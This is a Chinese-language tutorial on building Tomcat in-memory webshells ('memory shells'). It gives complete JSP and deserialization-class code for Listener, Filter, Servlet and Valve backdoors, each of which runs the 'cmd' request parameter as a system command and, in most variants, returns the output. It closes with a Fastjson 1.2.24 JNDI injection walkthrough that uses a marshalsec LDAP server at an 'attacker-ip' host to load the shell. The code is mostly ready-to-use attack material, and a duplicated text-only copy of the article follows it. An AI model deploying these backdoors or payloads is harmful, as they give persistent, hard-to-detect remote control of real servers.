Tomcat内存马分析
字数 1454 2025-08-22 12:23:42

Tomcat内存马分析与实现

前言

Tomcat内存马是一种在Web服务器内存中驻留的后门技术,不依赖文件系统,难以被传统安全防护手段检测。本文将详细分析Tomcat中四种内存马实现方式:Listener、Filter、Servlet和Valve。

环境准备

  • 开发环境:IDEA 2024.2.3
  • 服务器环境:Apache Tomcat 8.5.69
  • JDK版本:1.8.0_66

核心概念

StandardContext

StandardContext是Tomcat架构中的核心类,代表一个Web应用程序,提供以下重要功能:

  • 管理应用程序的生命周期
  • 维护Listener、Filter、Servlet等组件
  • 处理请求路由

Listener内存马

原理分析

ServletRequestListener接口允许在请求初始化和销毁时执行自定义逻辑。Tomcat通过StandardContext的applicationEventListenersList维护所有Listener。

实现步骤

  1. 获取StandardContext对象
  2. 创建恶意Listener类
  3. 将Listener添加到StandardContext

JSP实现代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
class VulListener implements ServletRequestListener {
    @Override public void requestDestroyed(ServletRequestEvent e) {}
    
    @Override public void requestInitialized(ServletRequestEvent e) {
        String cmd = e.getServletRequest().getParameter("cmd");
        try { Runtime.getRuntime().exec(cmd); } 
        catch (IOException ex) { throw new RuntimeException(ex); }
    }
}
%>

<%
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext ctx = (StandardContext) req.getContext();
ctx.addApplicationEventListener(new VulListener());
%>

反序列化实现

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.IOException;

public class ListenerMemory implements ServletRequestListener {
    static {
        WebappClassLoaderBase loader = (WebappClassLoaderBase) 
            Thread.currentThread().getContextClassLoader();
        StandardContext ctx = (StandardContext) loader.getResources().getContext();
        ctx.addApplicationEventListener(new ListenerMemory());
    }

    @Override public void requestDestroyed(ServletRequestEvent e) {}
    
    @Override public void requestInitialized(ServletRequestEvent e) {
        String cmd = e.getServletRequest().getParameter("cmd");
        try { Runtime.getRuntime().exec(cmd); } 
        catch (IOException ex) { throw new RuntimeException(ex); }
    }
}

Filter内存马

原理分析

Filter通过ApplicationFilterChain处理请求,StandardContext维护filterMaps和filterConfigs来管理Filter。

实现步骤

  1. 获取StandardContext
  2. 创建恶意Filter
  3. 创建FilterMap和FilterDef
  4. 创建ApplicationFilterConfig
  5. 将配置添加到StandardContext

JSP实现代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.catalina.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
class VulFilter implements Filter {
    @Override public void init(FilterConfig config) throws ServletException {}
    
    @Override public void doFilter(ServletRequest req, ServletResponse res, 
            FilterChain chain) throws IOException, ServletException {
        String cmd = req.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            res.getWriter().write(line);
        }
    }
    
    @Override public void destroy() {}
}
%>

<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);
Request req = (Request) f.get(request);
StandardContext ctx = (StandardContext) req.getContext();

VulFilter filter = new VulFilter();
String name = "VulFilter";

FilterMap map = new FilterMap();
map.addURLPattern("/*");
map.setFilterName(name);

FilterDef def = new FilterDef();
def.setFilterName(name);
def.setFilterClass(filter.getClass().getName());
def.setFilter(filter);

Field configsField = ctx.getClass().getDeclaredField("filterConfigs");
configsField.setAccessible(true);
Map<String,Object> configs = (Map<String, Object>) configsField.get(ctx);

ctx.addFilterDef(def);
ctx.addFilterMap(map);

Constructor<ApplicationFilterConfig> ctor = 
    ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ctor.setAccessible(true);
ApplicationFilterConfig config = ctor.newInstance(ctx, def);
configs.put(name, config);
%>

反序列化实现

import org.apache.catalina.*;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.*;
import javax.servlet.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

public class FilterMemory implements Filter {
    static {
        try {
            WebappClassLoaderBase loader = (WebappClassLoaderBase) 
                Thread.currentThread().getContextClassLoader();
            StandardContext ctx = (StandardContext) loader.getResources().getContext();
            
            FilterMemory filter = new FilterMemory();
            String name = "FilterMemory";
            
            FilterMap map = new FilterMap();
            map.addURLPattern("/*");
            map.setFilterName(name);
            
            FilterDef def = new FilterDef();
            def.setFilterName(name);
            def.setFilterClass(filter.getClass().getName());
            def.setFilter(filter);
            
            Field configsField = ctx.getClass().getDeclaredField("filterConfigs");
            configsField.setAccessible(true);
            Map<String,Object> configs = (Map<String, Object>) configsField.get(ctx);
            
            ctx.addFilterDef(def);
            ctx.addFilterMap(map);
            
            Constructor<ApplicationFilterConfig> ctor = 
                ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            ctor.setAccessible(true);
            ApplicationFilterConfig config = ctor.newInstance(ctx, def);
            configs.put(name, config);
        } catch (Exception e) { throw new RuntimeException(e); }
    }

    @Override public void init(FilterConfig config) throws ServletException {}
    
    @Override public void doFilter(ServletRequest req, ServletResponse res, 
            FilterChain chain) throws IOException, ServletException {
        String cmd = req.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            res.getWriter().write(line);
        }
    }
    
    @Override public void destroy() {}
}

Servlet内存马

原理分析

Servlet通过StandardWrapper管理,StandardContext维护children集合和servlet映射。

实现步骤

  1. 获取StandardContext
  2. 创建恶意Servlet
  3. 创建StandardWrapper并设置属性
  4. 将Wrapper添加到Context
  5. 添加Servlet映射

JSP实现代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>

<%!
class VulServlet implements Servlet {
    @Override public void init(ServletConfig config) throws ServletException {}
    
    @Override public ServletConfig getServletConfig() { return null; }
    
    @Override public void service(ServletRequest req, ServletResponse res) 
            throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while((line = br.readLine()) != null) {
            res.getWriter().write(line);
        }
    }
    
    @Override public String getServletInfo() { return ""; }
    
    @Override public void destroy() {}
}
%>

<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);
Request req = (Request) f.get(request);
StandardContext ctx = (StandardContext) req.getContext();

VulServlet servlet = new VulServlet();
StandardWrapper wrapper = new StandardWrapper();
String name = "VulServlet";
String url = "/v";

wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServletName(name);

ctx.addChild(wrapper);
ctx.addServletMappingDecoded(url, name);
%>

反序列化实现

import org.apache.catalina.*;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.*;
import java.io.*;

public class ServletMemory implements Servlet {
    static {
        WebappClassLoaderBase loader = (WebappClassLoaderBase) 
            Thread.currentThread().getContextClassLoader();
        StandardContext ctx = (StandardContext) loader.getResources().getContext();
        
        ServletMemory servlet = new ServletMemory();
        StandardWrapper wrapper = new StandardWrapper();
        String name = "ServletMemory";
        String url = "/s";
        
        wrapper.setServlet(servlet);
        wrapper.setServletClass(servlet.getClass().getName());
        wrapper.setServletName(name);
        
        ctx.addChild(wrapper);
        ctx.addServletMappingDecoded(url, name);
    }

    @Override public void init(ServletConfig config) throws ServletException {}
    
    @Override public ServletConfig getServletConfig() { return null; }
    
    @Override public void service(ServletRequest req, ServletResponse res) 
            throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while((line = br.readLine()) != null) {
            res.getWriter().write(line);
        }
    }
    
    @Override public String getServletInfo() { return ""; }
    
    @Override public void destroy() {}
}

Valve内存马

原理分析

Valve是Tomcat的管道组件,可以拦截和处理请求。StandardContext维护pipeline和valves链。

实现步骤

  1. 获取StandardContext
  2. 创建恶意Valve实现
  3. 将Valve添加到Context

JSP实现代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%!
class VulValve implements Valve {
    @Override public Valve getNext() { return null; }
    @Override public void setNext(Valve valve) {}
    @Override public void backgroundProcess() {}
    @Override public boolean isAsyncSupported() { return false; }
    
    @Override public void invoke(Request req, Response res) 
            throws IOException, ServletException {
        String cmd = req.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            res.getWriter().write(line);
        }
    }
}
%>

<%
Field f = request.getClass().getDeclaredField("request");
f.setAccessible(true);
Request req = (Request) f.get(request);
StandardContext ctx = (StandardContext) req.getContext();
ctx.addValve(new VulValve());
%>

反序列化实现

import org.apache.catalina.*;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import java.io.*;

public class ValveMemory implements Valve {
    static {
        WebappClassLoaderBase loader = (WebappClassLoaderBase) 
            Thread.currentThread().getContextClassLoader();
        StandardContext ctx = (StandardContext) loader.getResources().getContext();
        ctx.addValve(new ValveMemory());
    }

    @Override public Valve getNext() { return null; }
    @Override public void setNext(Valve valve) {}
    @Override public void backgroundProcess() {}
    @Override public boolean isAsyncSupported() { return false; }
    
    @Override public void invoke(Request req, Response res) 
            throws IOException, ServletException {
        String cmd = req.getParameter("cmd");
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            res.getWriter().write(line);
        }
    }
}

反序列化注入实战

Fastjson靶场搭建

  1. 创建Web项目并添加Fastjson 1.2.24依赖
  2. 创建漏洞Servlet:
@WebServlet("/FastJsonServlet")
public class FastJsonServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse res) 
            throws ServletException, IOException {
        BufferedReader br = req.getReader();
        StringBuilder sb = new StringBuilder();
        String line;
        while ((line = br.readLine()) != null) sb.append(line);
        JSON.parseObject(sb.toString());
    }
}

利用JNDI注入

  1. 使用marshalsec搭建LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 
    http://attacker-ip:8000/#MemoryShell 9999
  1. 发送恶意请求:
{
    "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
    "b": { 
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://attacker-ip:9999/MemoryShell",
        "autoCommit": true
    }
}

总结

  1. Listener内存马:通过StandardContext的applicationEventListenersList注入
  2. Filter内存马:需要操作StandardContext的filterMaps和filterConfigs
  3. Servlet内存马:通过StandardWrapper和StandardContext的children注入
  4. Valve内存马:通过StandardContext的pipeline注入

所有内存马的核心都是通过反射获取和操作StandardContext对象,利用Tomcat的组件机制实现无文件持久化。

Tomcat内存马分析与实现 前言 Tomcat内存马是一种在Web服务器内存中驻留的后门技术,不依赖文件系统,难以被传统安全防护手段检测。本文将详细分析Tomcat中四种内存马实现方式:Listener、Filter、Servlet和Valve。 环境准备 开发环境:IDEA 2024.2.3 服务器环境:Apache Tomcat 8.5.69 JDK版本:1.8.0_ 66 核心概念 StandardContext StandardContext是Tomcat架构中的核心类,代表一个Web应用程序,提供以下重要功能: 管理应用程序的生命周期 维护Listener、Filter、Servlet等组件 处理请求路由 Listener内存马 原理分析 ServletRequestListener接口允许在请求初始化和销毁时执行自定义逻辑。Tomcat通过StandardContext的applicationEventListenersList维护所有Listener。 实现步骤 获取StandardContext对象 创建恶意Listener类 将Listener添加到StandardContext JSP实现代码 反序列化实现 Filter内存马 原理分析 Filter通过ApplicationFilterChain处理请求,StandardContext维护filterMaps和filterConfigs来管理Filter。 实现步骤 获取StandardContext 创建恶意Filter 创建FilterMap和FilterDef 创建ApplicationFilterConfig 将配置添加到StandardContext JSP实现代码 反序列化实现 Servlet内存马 原理分析 Servlet通过StandardWrapper管理,StandardContext维护children集合和servlet映射。 实现步骤 获取StandardContext 创建恶意Servlet 创建StandardWrapper并设置属性 将Wrapper添加到Context 添加Servlet映射 JSP实现代码 反序列化实现 Valve内存马 原理分析 Valve是Tomcat的管道组件,可以拦截和处理请求。StandardContext维护pipeline和valves链。 实现步骤 获取StandardContext 创建恶意Valve实现 将Valve添加到Context JSP实现代码 反序列化实现 反序列化注入实战 Fastjson靶场搭建 创建Web项目并添加Fastjson 1.2.24依赖 创建漏洞Servlet: 利用JNDI注入 使用marshalsec搭建LDAP服务: 发送恶意请求: 总结 Listener内存马 :通过StandardContext的applicationEventListenersList注入 Filter内存马 :需要操作StandardContext的filterMaps和filterConfigs Servlet内存马 :通过StandardWrapper和StandardContext的children注入 Valve内存马 :通过StandardContext的pipeline注入 所有内存马的核心都是通过反射获取和操作StandardContext对象,利用Tomcat的组件机制实现无文件持久化。